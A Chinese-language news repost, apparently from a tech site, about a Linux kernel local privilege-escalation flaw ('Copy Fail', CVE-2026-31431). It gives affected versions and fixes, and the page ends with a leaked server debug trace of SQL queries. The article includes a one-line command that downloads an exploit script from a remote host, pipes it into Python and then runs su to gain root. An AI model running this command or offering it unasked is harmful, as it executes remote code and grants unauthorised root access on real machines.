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Linux 惊现史诗级提权漏洞 Copy Fail(CVE-2026-31431)

  • 2026-06-30 11:55:03
Linux 惊现史诗级提权漏洞 Copy Fail(CVE-2026-31431)
该漏洞允许本地普通用户向任意可读文件的 page cache（页缓存） 中写入4个受控字节，从而篡改 setuid 程序（如 /usr/bin/su）获得 root 权限。其利用过程无需竞争条件，一个仅 732 字节的 Python 脚本就能在所有受影响系统上稳定提权
影响范围非常广泛：自 2017 年以来几乎所有主流 Linux 发行版的高危本地提权漏洞（内核版本号 ≥ 4.14 且 < 6.18.22、6.19.12、7.0 等修复版本）。
复现过程十分简单，一行命令即可提权：
curl https://copy.fail/exp | python3 && su
详细内容参考：https://copy.fail/
演示视频：
本地测试截图（debian13）：
本地测试截图（rocky)：
解决方案：
  1. 升级内核到已修复版本。
  2. 禁用相关模块加载。
本文来自网友投稿或网络内容，如有侵犯您的权益请联系我们删除，联系邮箱：wyl860211@qq.com 。

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  1. 请求信息 : 2026-07-04 05:18:46 HTTP/2.0 GET : https://f.mffb.com.cn/a/490913.html
  2. 运行时间 : 0.097597s [ 吞吐率：10.25req/s ] 内存消耗：4,671.39kb 文件加载：140
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  1. CONNECT:[ UseTime:0.000607s ] mysql:host=127.0.0.1;port=3306;dbname=f_mffb;charset=utf8mb4
  2. SHOW FULL COLUMNS FROM `fenlei` [ RunTime:0.000709s ]
  3. SELECT * FROM `fenlei` WHERE `fid` = 0 [ RunTime:0.000284s ]
  4. SELECT * FROM `fenlei` WHERE `fid` = 63 [ RunTime:0.000287s ]
  5. SHOW FULL COLUMNS FROM `set` [ RunTime:0.000543s ]
  6. SELECT * FROM `set` [ RunTime:0.000196s ]
  7. SHOW FULL COLUMNS FROM `article` [ RunTime:0.000570s ]
  8. SELECT * FROM `article` WHERE `id` = 490913 LIMIT 1 [ RunTime:0.000383s ]
  9. UPDATE `article` SET `lasttime` = 1783113526 WHERE `id` = 490913 [ RunTime:0.006470s ]
  10. SELECT * FROM `fenlei` WHERE `id` = 67 LIMIT 1 [ RunTime:0.000350s ]
  11. SELECT * FROM `article` WHERE `id` < 490913 ORDER BY `id` DESC LIMIT 1 [ RunTime:0.000504s ]
  12. SELECT * FROM `article` WHERE `id` > 490913 ORDER BY `id` ASC LIMIT 1 [ RunTime:0.000463s ]
  13. SELECT * FROM `article` WHERE `id` < 490913 ORDER BY `id` DESC LIMIT 10 [ RunTime:0.005211s ]
  14. SELECT * FROM `article` WHERE `id` < 490913 ORDER BY `id` DESC LIMIT 10,10 [ RunTime:0.011744s ]
  15. SELECT * FROM `article` WHERE `id` < 490913 ORDER BY `id` DESC LIMIT 20,10 [ RunTime:0.002534s ]
0.099114s